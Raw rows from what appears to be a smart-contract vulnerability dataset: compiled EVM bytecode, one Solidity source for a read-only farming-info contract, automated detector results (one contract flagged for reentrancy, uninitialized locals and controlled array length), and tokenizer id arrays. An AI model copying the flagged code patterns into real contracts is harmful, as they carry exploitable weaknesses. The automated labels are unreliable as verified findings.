8445023bf90600090a36001600160a01b03861660009081526020819052604081209081556001908101805463ffffffff1916905593505b50600090505b600654811015610c015760068181548110610b2857fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d91339185908110610b5b57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015610bc457600080fd5b505af1158015610bd8573d6000803e3d6000fd5b505050506040513d6020811015610bee57600080fd5b5051610bf957600080fd5b600101610b11565b505092915050565b6007602052600090815260409020805460019091015460ff9091169082565b60015460009082906001600160a01b03808316911614610c4757600080fd5b6001600160a01b03841660009081526020819052604090205491505b5092915050565b6004546001600160a01b031681565b3360009081526020819052604081206001015460e01b600160e31b90811614610ca157600080fd5b60015482906001600160a01b03808316911614610cbd57600080fd5b6004546001600160a01b031615610cd357600080fd5b6001600160a01b038416610ce657600080fd5b600480546001600160a01b0319166001600160a01b0386811691821783556001546040805163f2fde38b60e01b815294850193909352915191169163f2fde38b91602480830192600092919082900301818387803b158015610d4757600080fd5b505af1158015610d5b573d6000803e3d6000fd5b50505050836001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610db757600080fd5b505afa158015610dcb573d6000803e3d6000fd5b505050506040513d6020811015610de157600080fd5b50516001600160a01b031614610df657600080fd5b60025460408051638da5cb5b60e01b8152905130926001600160a01b031691638da5cb5b916004808301926020929190829003018186803b158015610e3a57600080fd5b505afa158015610e4e573d6000803e3d6000fd5b505050506040513d6020811015610e6457600080fd5b50516001600160a01b03161415610f72576002546040805163f2fde38b60e01b81526001600160a01b0387811660048301529151919092169163f2fde38b91602480830192600092919082900301818387803b158015610ec357600080fd5b505af1158015610ed7573d6000803e3d6000fd5b50505050836001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f3357600080fd5b505afa158015610f47573d6000803e3d6000fd5b505050506040513d6020811015610f5d57600080fd5b50516001600160a01b031614610f7257600080fd5b60035460408051638da5cb5b60e01b8152905130926001600160a01b031691638da5cb5b916004808301926020929190829003018186803b158015610fb657600080fd5b505afa158015610fca573d6000803e3d6000fd5b505050506040513d6020811015610fe057600080fd5b50516001600160a01b031614156110ee576003546040805163f2fde38b60e01b81526001600160a01b0387811660048301529151919092169163f2fde38b91602480830192600092919082900301818387803b15801561103f57600080fd5b505af1158015611053573d6000803e3d6000fd5b50505050836001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d60208110156110d957600080fd5b50516001600160a01b0316146110ee57600080fd5b600454604080516001600160a01b039290921682525130917fdb7cbacf8df312d794506c0cc9af07f64d29ca075796ea2e950a3832cc9a63dd919081900360200190a25060019392505050565b6005818154811061114857fe5b6000918252602090912060029091020180546001909101546001600160a01b03909116915082565b3360009081526020819052604081206001015460e01b600160e21b9081161461119857600080fd5b60015482906001600160a01b038083169116146111b457600080fd5b6111bc6138d1565b6111c46138d1565b6000866001600160a01b031663e2b0caef6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b505050506040513d602081101561122b57600080fd5b5051905060008082600281111561123e57fe5b14806112555750600282600281111561125357fe5b145b15611399576001600160a01b0388166000908152600760209081526040918290208251808401909352805460ff16158015845260019091015491830191909152909450611399576001600580549050038460200151101561135a576005805460001981019081106112c257fe5b60009182526020918290206040805180820190915260029092020180546001600160a01b03168252600101548183015290850151600580549295508592909190811061130a57fe5b6000918252602080832084516002939093020180546001600160a01b0319166001600160a01b03938416178155938101516001948501558781015187519092168352600790526040909120909101555b600580549061136d9060001983016138e8565b50506001600160a01b0387166000908152600760205260408120805460ff191681556001908101919091555b60018260028111156113a757fe5b14806113be575060028260028111156113bc57fe5b145b15611502576001600160a01b0388166000908152600860209081526040918290208251808401909352805460ff1615801584526001909101549183019190915290945061150257600160068054905003846020015110156114c35760068054600019810190811061142b57fe5b60009182526020918290206040805180820190915260029092020180546001600160a01b03168252600101548183015290850151600680549295508592909190811061147357fe5b6000918252602080832084516002939093020180546001600160a01b0319166001600160a01b03938416178155938101516001948501558781015187519092168352600890526040909120909101555b60068054906114d69060001983016138e8565b50506001600160a01b0387166000908152600860205260408120805460ff191681556001908101919091555b80156115605760208401516001600160a01b038916907fcdf1a50ea6b7de555bd409f8a4a53ea43c6dc6b4caa961889da9e005f21bbaa990600085600281111561154857fe5b60408051938452911460208301528051918290030190a25b979650505050505050565b3360009081526020819052604081206001015460e01b600160e01b9081161461159357600080fd5b7f65787465726e616c546f6b656e496e637265617365417070726f76616c00000060005b6005548110156116a757600581815481106115ce57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab29133918590811061160157fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561166a57600080fd5b505af115801561167e573d6000803e3d6000fd5b505050506040513d602081101561169457600080fd5b505161169f57600080fd5b6001016115b7565b60015484906001600160a01b038083169116146116c357600080fd5b6001546040805163ab751f7160e01b81526001600160a01b038b811660048301528a81166024830152604482018a90529151919092169163ab751f719160648083019260209291908290030181600087803b15801561172157600080fd5b505af1158015611735573d6000803e3d6000fd5b505050506040513d602081101561174b57600080fd5b5051935050600090505b600654811015611845576006818154811061176c57fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d9133918590811061179f57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561180857600080fd5b505af115801561181c573d6000803e3d6000fd5b505050506040513d602081101561183257600080fd5b505161183d57600080fd5b600101611755565b5050949350505050565b6001546001600160a01b031681565b3360009081526020819052604081206001015460e01b600160e01b9081161461188657600080fd5b6839b2b73222ba3432b960b91b60005b60055481101561198657600581815481106118ad57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab2913391859081106118e057fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561194957600080fd5b505af115801561195d573d6000803e3d6000fd5b505050506040513d602081101561197357600080fd5b505161197e57600080fd5b600101611896565b60015484906001600160a01b038083169116146119a257600080fd5b6001546040805163658b6a5160e11b8152600481018a90526001600160a01b0389811660248301529151919092169163cb16d4a29160448083019260209291908290030181600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b505050506040513d6020811015611a2257600080fd5b5051935050600090505b600654811015611b1c5760068181548110611a4357fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d91339185908110611a7657fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015611adf57600080fd5b505af1158015611af3573d6000803e3d6000fd5b505050506040513d6020811015611b0957600080fd5b5051611b1457600080fd5b600101611a2c565b50509392505050565b3360009081526020819052604081206001015460e01b600160e01b90811614611b4d57600080fd5b696d696e74546f6b656e7360b01b60005b600554811015611c4e5760058181548110611b7557fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab291339185908110611ba857fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015611c1157600080fd5b505af1158015611c25573d6000803e3d6000fd5b505050506040513d6020811015611c3b57600080fd5b5051611c4657600080fd5b600101611b5e565b60015484906001600160a01b03808316911614611c6a57600080fd5b6040805188815290516001600160a01b0388169133917f21f9c9a1a1f9a311a50f15fec5c1faa9e21fc9edf964f0fdecba5bd490484c5e9181900360200190a3600254604080516340c10f1960e01b81526001600160a01b038981166004830152602482018b9052915191909216916340c10f199160448083019260209291908290030181600087803b158015611d0057600080fd5b505af1158015611d14573d6000803e3d6000fd5b505050506040513d6020811015611d2a57600080fd5b5051935050600090505b600654811015611b1c5760068181548110611d4b57fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d91339185908110611d7e57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015611de757600080fd5b505af1158015611dfb573d6000803e3d6000fd5b505050506040513d6020811015611e1157600080fd5b5051611e1c57600080fd5b600101611d34565b60015460009082906001600160a01b03808316911614611e4357600080fd5b611e4c336138a5565b611e595760009150611ea5565b33600081815260208190526040808220828155600101805463ffffffff191690555182917f10bb2cf04cb8b902a8e736d494f1a51003be6d4b16ef6fb95ce62c38445023bf91a3600191505b50919050565b3360009081526020819052604081206001015460e01b600160e01b90811614611ed357600080fd5b6d313ab9372932b83aba30ba34b7b760911b60005b600554811015611fd85760058181548110611eff57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab291339185908110611f3257fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015611f9b57600080fd5b505af1158015611faf573d6000803e3d6000fd5b505050506040513d6020811015611fc557600080fd5b5051611fd057600080fd5b600101611ee8565b60015484906001600160a01b03808316911614611ff457600080fd5b6040805188815290516001600160a01b0388169133917f186d8887e1b22f9d9b16849c36baa748950d09d9c9b67a4a6ea140eaad00c21c9181900360200190a360035460408051632770a7eb60e21b81526001600160a01b038981166004830152602482018b905291519190921691639dc29fac9160448083019260209291908290030181600087803b15801561208a57600080fd5b505af115801561209e573d6000803e3d6000fd5b505050506040513d60208110156120b457600080fd5b5051935050600090505b600654811015611b1c57600681815481106120d557fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d9133918590811061210857fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561217157600080fd5b505af1158015612185573d6000803e3d6000fd5b505050506040513d602081101561219b57600080fd5b50516121a657600080fd5b6001016120be565b6008602052600090815260409020805460019091015460ff9091169082565b600154600090819083906001600160a01b038083169116146121ee57600080fd5b600554600654909350915050915091565b6003546001600160a01b031681565b60015460009082906001600160a01b0380831691161461222d57600080fd5b50506003546001600160a01b0316919050565b60015460009082906001600160a01b0380831691161461225f57600080fd5b5050506001600160a01b031660009081526020819052604090206001015460e01b90565b60015460009082906001600160a01b038083169116146122a257600080fd5b6122ab846138a5565b949350505050565b3360009081526020819052604081206001015460e01b600160e01b908116146122db57600080fd5b7432bc3a32b93730b62a37b5b2b72a3930b739b332b960591b60005b6005548110156123e7576005818154811061230e57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab29133918590811061234157fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b1580156123aa57600080fd5b505af11580156123be573d6000803e3d6000fd5b505050506040513d60208110156123d457600080fd5b50516123df57600080fd5b6001016122f7565b60015484906001600160a01b0380831691161461240357600080fd5b6001546040805163dab0efff60e01b81526001600160a01b038b811660048301528a81166024830152604482018a90529151919092169163dab0efff9160648083019260209291908290030181600087803b15801561246157600080fd5b505af1158015612475573d6000803e3d6000fd5b505050506040513d602081101561248b57600080fd5b5051935050600090505b60065481101561184557600681815481106124ac57fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d913391859081106124df57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561254857600080fd5b505af115801561255c573d6000803e3d6000fd5b505050506040513d602081101561257257600080fd5b505161257d57600080fd5b600101612495565b3360009081526020819052604081206001015460e01b600160e41b908116146125ad57600080fd5b60015482906001600160a01b038083169116146125c957600080fd5b600154604051632242b11b60e21b8152602060048201908152602482018790526001600160a01b039092169163890ac46c91889188918190604401848480828437600081840152601f19601f8201169050808301925050509350505050602060405180830381600087803b15801561264057600080fd5b505af1158015612654573d6000803e3d6000fd5b505050506040513d602081101561266a57600080fd5b505195945050505050565b3360009081526020819052604081206001015460609060e01b600160e41b908116146126a057600080fd5b6a19d95b995c9a58d0d85b1b60aa1b60005b6005548110156127a257600581815481106126c957fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab2913391859081106126fc57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561276557600080fd5b505af1158015612779573d6000803e3d6000fd5b505050506040513d602081101561278f57600080fd5b505161279a57600080fd5b6001016126b2565b60015486906001600160a01b038083169116146127be57600080fd5b60015460405163057e2c8b60e31b81526001600160a01b038c811660048301908152604483018a9052606060248401908152606484018d90529190931692632bf16458928e928e928e928d9290608401858580828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561284c57600080fd5b505af1158015612860573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561288957600080fd5b8151602083018051604051929492938301929190846401000000008211156128b057600080fd5b9083019060208201858111156128c557600080fd5b82516401000000008111828201881017156128df57600080fd5b82525081516020918201929091019080838360005b8381101561290c5781810151838201526020016128f4565b50505050905090810190601f1680156129395780820380516001836020036101000a031916815260200191505b506040525050509450945050600090505b600654811015612a3a576006818154811061296157fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d9133918590811061299457fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b1580156129fd57600080fd5b505af1158015612a11573d6000803e3d6000fd5b505050506040513d6020811015612a2757600080fd5b5051612a3257600080fd5b60010161294a565b50509550959350505050565b6000602081905290815260409020805460019091015460e01b82565b6000612a6c6138d1565b506001600160a01b0383166000908152600760209081526040918290208251808401909352805460ff16158015845260019091015491830191909152612ad7576005816020015181548110612abd57fe5b906000526020600020906002020160010154915050612b28565b506001600160a01b0383166000908152600860209081526040918290208251808401909352805460ff16158015845260019091015491830191909152610c63576006816020015181548110612abd57fe5b92915050565b6002546001600160a01b031681565b3360009081526020819052604081206001015460e01b600160e21b90811614612b6557600080fd5b60015482906001600160a01b03808316911614612b8157600080fd5b6000856001600160a01b031663e2b0caef6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015612bbe57600080fd5b505af1158015612bd2573d6000803e3d6000fd5b505050506040513d6020811015612be857600080fd5b505190506000816002811115612bfa57fe5b1480612c1157506002816002811115612c0f57fe5b145b15612d49576001600160a01b03861660009081526007602052604090205460ff16612d08576040805180820182526001600160a01b0388811680835260208084018a81526005805460018082018355600083815297517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0600290930292830180546001600160a01b031916919098161790965591517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db190920191909155855180870187528481529054600019018183019081529285526007909152939092209251835460ff19169015151783559051910155612d49565b6001600160a01b038616600090815260076020526040902060010154600580548792908110612d3357fe5b9060005260206000209060020201600101819055505b6001816002811115612d5757fe5b1480612d6e57506002816002811115612d6c57fe5b145b15612ea6576001600160a01b03861660009081526008602052604090205460ff16612e65576040805180820182526001600160a01b0388811680835260208084018a81526006805460018082018355600083815297517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f600290930292830180546001600160a01b031916919098161790965591517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4090920191909155855180870187528481529054600019018183019081529285526008909152939092209251835460ff19169015151783559051910155612ea6565b6001600160a01b038616600090815260086020526040902060010154600680548792908110612e9057fe5b9060005260206000209060020201600101819055505b856001600160a01b03167f78800d7333b8d0174a0845569e3913b7ce4a3c03ca444dd9904172fc14f2fdad868360405180838152602001826002811115612ee957fe5b60ff1681526020019250505060405180910390a250600195945050505050565b3360009081526020819052604081206001015460e01b600160e11b90811614612f3157600080fd5b6d7265676973746572536368656d6560901b60005b6005548110156130365760058181548110612f5d57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab291339185908110612f9057fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b158015612ff957600080fd5b505af115801561300d573d6000803e3d6000fd5b505050506040513d602081101561302357600080fd5b505161302e57600080fd5b600101612f46565b60015484906001600160a01b0380831691161461305257600080fd5b61305a6138d1565b506001600160a01b03881660009081526020818152604080832081518083018352815481526001918201546001600160e01b031960e091821b16828601908152338752948690529290942001549151891891901b1916601f60e01b16156130c057600080fd5b336000908152602081815260409091206001015490820151601f60e01b60e09290921b191616156130f057600080fd5b6001600160a01b0389166000818152602081905260408082208b8155600101805463ffffffff1916600160e01b8c1760e01c1790555133917f546816e99403df442acb68ef69562682a50762c20a3fb6b472f7af9923736cfc91a3600194505050600090505b600654811015611845576006818154811061316d57fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d913391859081106131a057fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561320957600080fd5b505af115801561321d573d6000803e3d6000fd5b505050506040513d602081101561323357600080fd5b505161323e57600080fd5b600101613156565b6006818154811061114857fe5b3360009081526020819052604081206001015460e01b600160e01b9081161461327b57600080fd5b6d36b4b73a2932b83aba30ba34b7b760911b60005b60055481101561338057600581815481106132a757fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab2913391859081106132da57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561334357600080fd5b505af1158015613357573d6000803e3d6000fd5b505050506040513d602081101561336d57600080fd5b505161337857600080fd5b600101613290565b60015484906001600160a01b0380831691161461339c57600080fd5b6040805188815290516001600160a01b0388169133917f837f2931e3df0592458212be4e470025f197feb7a8e39deb5b7f1f1d42e6f2629181900360200190a3600354604080516340c10f1960e01b81526001600160a01b038981166004830152602482018b9052915191909216916340c10f199160448083019260209291908290030181600087803b15801561343257600080fd5b505af1158015613446573d6000803e3d6000fd5b505050506040513d602081101561345c57600080fd5b5051935050600090505b600654811015611b1c576006818154811061347d57fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d913391859081106134b057fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561351957600080fd5b505af115801561352d573d6000803e3d6000fd5b505050506040513d602081101561354357600080fd5b505161354e57600080fd5b600101613466565b60015460009082906001600160a01b0380831691161461357557600080fd5b6001600160a01b03841660009081526007602052604090205460ff16806122ab57505050506001600160a01b031660009081526008602052604090205460ff1690565b3360009081526020819052604081206001015460e01b600160e01b908116146135e057600080fd5b7f65787465726e616c546f6b656e5472616e7366657246726f6d0000000000000060005b6005548110156136f4576005818154811061361b57fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab29133918590811061364e57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b1580156136b757600080fd5b505af11580156136cb573d6000803e3d6000fd5b505050506040513d60208110156136e157600080fd5b50516136ec57600080fd5b600101613604565b60015484906001600160a01b0380831691161461371057600080fd5b60015460408051635bab6ad160e11b81526001600160a01b038c811660048301528b811660248301528a81166044830152606482018a90529151919092169163b756d5a29160848083019260209291908290030181600087803b15801561377657600080fd5b505af115801561378a573d6000803e3d6000fd5b505050506040513d60208110156137a057600080fd5b5051935050600090505b60065481101561389a57600681815481106137c157fe5b6000918252602090912060029091020154600680546001600160a01b0390921691638043154d913391859081106137f457fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b15801561385d57600080fd5b505af1158015613871573d6000803e3d6000fd5b505050506040513d602081101561388757600080fd5b505161389257600080fd5b6001016137aa565b505095945050505050565b6001600160a01b03811660009081526020819052604090206001015460e01b600160e01b161515919050565b604080518082019091526000808252602082015290565b815481835581811115613914576002028160020283600052602060002091820191016139149190613919565b505050565b61394891905b808211156139445780546001600160a01b03191681556000600182015560020161391f565b5090565b9056fea265627a7a72315820a3c13011e9290449e52fc4816400e8b331ad03e97218d4ae7a54ba286ec7251564736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2692, 2094, 2683, 16409, 5243, 2487, 2063, 18827, 2509, 2098, 2575, 2683, 2575, 2546, 22022, 3540, 2278, 2629, 2063, 26187, 28154, 2278, 2509, 2278, 12521, 2620, 2050, 2509, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2797, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,818
0x95c1101cCbaE57a7D8Af1254Ad06508354E9C3F0
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; interface IERC20 { function decimals() external view returns (uint8); } interface DMMPool { function totalSupply() external view returns (uint256); function getReserves() external view returns (uint112 reserve0, uint112 reserve1); } interface DMMFarming { function getRewardTokens() external view returns (address[] memory); function getPoolInfo(uint256 _pid) external view returns ( uint256 totalStake, address stakeToken, uint32 startBlock, uint32 endBlock, uint32 lastRewardBlock, uint256[] memory rewardPerBlocks, uint256[] memory accRewardPerShares ); } contract DMMFarmingAPI { function getInfo( DMMPool _pool, DMMFarming _farming, uint256 _pid, IERC20 _token0, IERC20 _token1 ) public view returns ( address[] memory rewardTokens, uint256 totalStake, uint256[] memory rewardPerBlocks, uint256 lpTotalSupply, uint8 token0Decimals, uint8 token1Decimals, uint256 token0Balance, uint256 token1Balance ) { (uint112 reserve0, uint112 reserve1) = _pool.getReserves(); rewardTokens = _farming.getRewardTokens(); (totalStake,,,,,rewardPerBlocks,) = _farming.getPoolInfo(_pid); lpTotalSupply = _pool.totalSupply(); token0Decimals = _token0.decimals(); token1Decimals = _token1.decimals(); token0Balance = reserve0; token1Balance = reserve1; } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806350706aa414610030575b600080fd5b61004361003e36600461053f565b610060565b604051610057989796959493929190610708565b60405180910390f35b60606000606060008060008060008060008e73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401604080518083038186803b1580156100b657600080fd5b505afa1580156100ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100ee91906105a6565b915091508d73ffffffffffffffffffffffffffffffffffffffff1663c4f59f9b6040518163ffffffff1660e01b815260040160006040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261019291908101906104a6565b99508d73ffffffffffffffffffffffffffffffffffffffff16632f380b358e6040518263ffffffff1660e01b81526004016101cd91906107ac565b60006040518083038186803b1580156101e557600080fd5b505afa1580156101f9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261023f91908101906105f0565b90919293945090919293509091925090915050809950819a5050508e73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a057600080fd5b505afa1580156102b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d891906105d8565b96508b73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610358919061069f565b95508a73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156103a057600080fd5b505afa1580156103b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d8919061069f565b999f989e50969c50949a50929850959650506dffffffffffffffffffffffffffff9182169450501690565b600082601f830112610413578081fd5b81516020610428610423836107d9565b6107b5565b8281528181019085830183850287018401881015610444578586fd5b855b8581101561046257815184529284019290840190600101610446565b5090979650505050505050565b80516dffffffffffffffffffffffffffff8116811461048d57600080fd5b919050565b805163ffffffff8116811461048d57600080fd5b600060208083850312156104b8578182fd5b825167ffffffffffffffff8111156104ce578283fd5b8301601f810185136104de578283fd5b80516104ec610423826107d9565b8181528381019083850185840285018601891015610508578687fd5b8694505b8385101561053357805161051f816107f7565b83526001949094019391850191850161050c565b50979650505050505050565b600080600080600060a08688031215610556578081fd5b8535610561816107f7565b94506020860135610571816107f7565b9350604086013592506060860135610588816107f7565b91506080860135610598816107f7565b809150509295509295909350565b600080604083850312156105b8578182fd5b6105c18361046f565b91506105cf6020840161046f565b90509250929050565b6000602082840312156105e9578081fd5b5051919050565b600080600080600080600060e0888a03121561060a578182fd5b87519650602088015161061c816107f7565b955061062a60408901610492565b945061063860608901610492565b935061064660808901610492565b925060a088015167ffffffffffffffff80821115610662578384fd5b61066e8b838c01610403565b935060c08a0151915080821115610683578283fd5b506106908a828b01610403565b91505092959891949750929550565b6000602082840312156106b0578081fd5b815160ff811681146106c0578182fd5b9392505050565b6000815180845260208085019450808401835b838110156106f6578151875295820195908201906001016106da565b509495945050505050565b60ff169052565b6101008082528951908201819052600090610120830190602090818d01845b8281101561075957815173ffffffffffffffffffffffffffffffffffffffff1685529383019390830190600101610727565b50505083018a90528281036040840152610773818a6106c7565b9150508660608301526107896080830187610701565b61079660a0830186610701565b60c082019390935260e001529695505050505050565b90815260200190565b60405181810167ffffffffffffffff811182821017156107d157fe5b604052919050565b600067ffffffffffffffff8211156107ed57fe5b5060209081020190565b73ffffffffffffffffffffffffffffffffffffffff8116811461081957600080fd5b5056fea264697066735822122055cde20fa2c9483d837db1054f1c0abfd0ee486e7ce0d18bb461e2b95e0a7add64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 14526, 24096, 9468, 3676, 2063, 28311, 2050, 2581, 2094, 2620, 10354, 12521, 27009, 4215, 2692, 26187, 2692, 2620, 19481, 2549, 2063, 2683, 2278, 2509, 2546, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 1065, 8278, 1040, 7382, 16869, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2131, 6072, 2121, 6961, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 14526, 2475, 3914, 2692, 1010, 21318, 3372, 14526, 2475, 102 ]
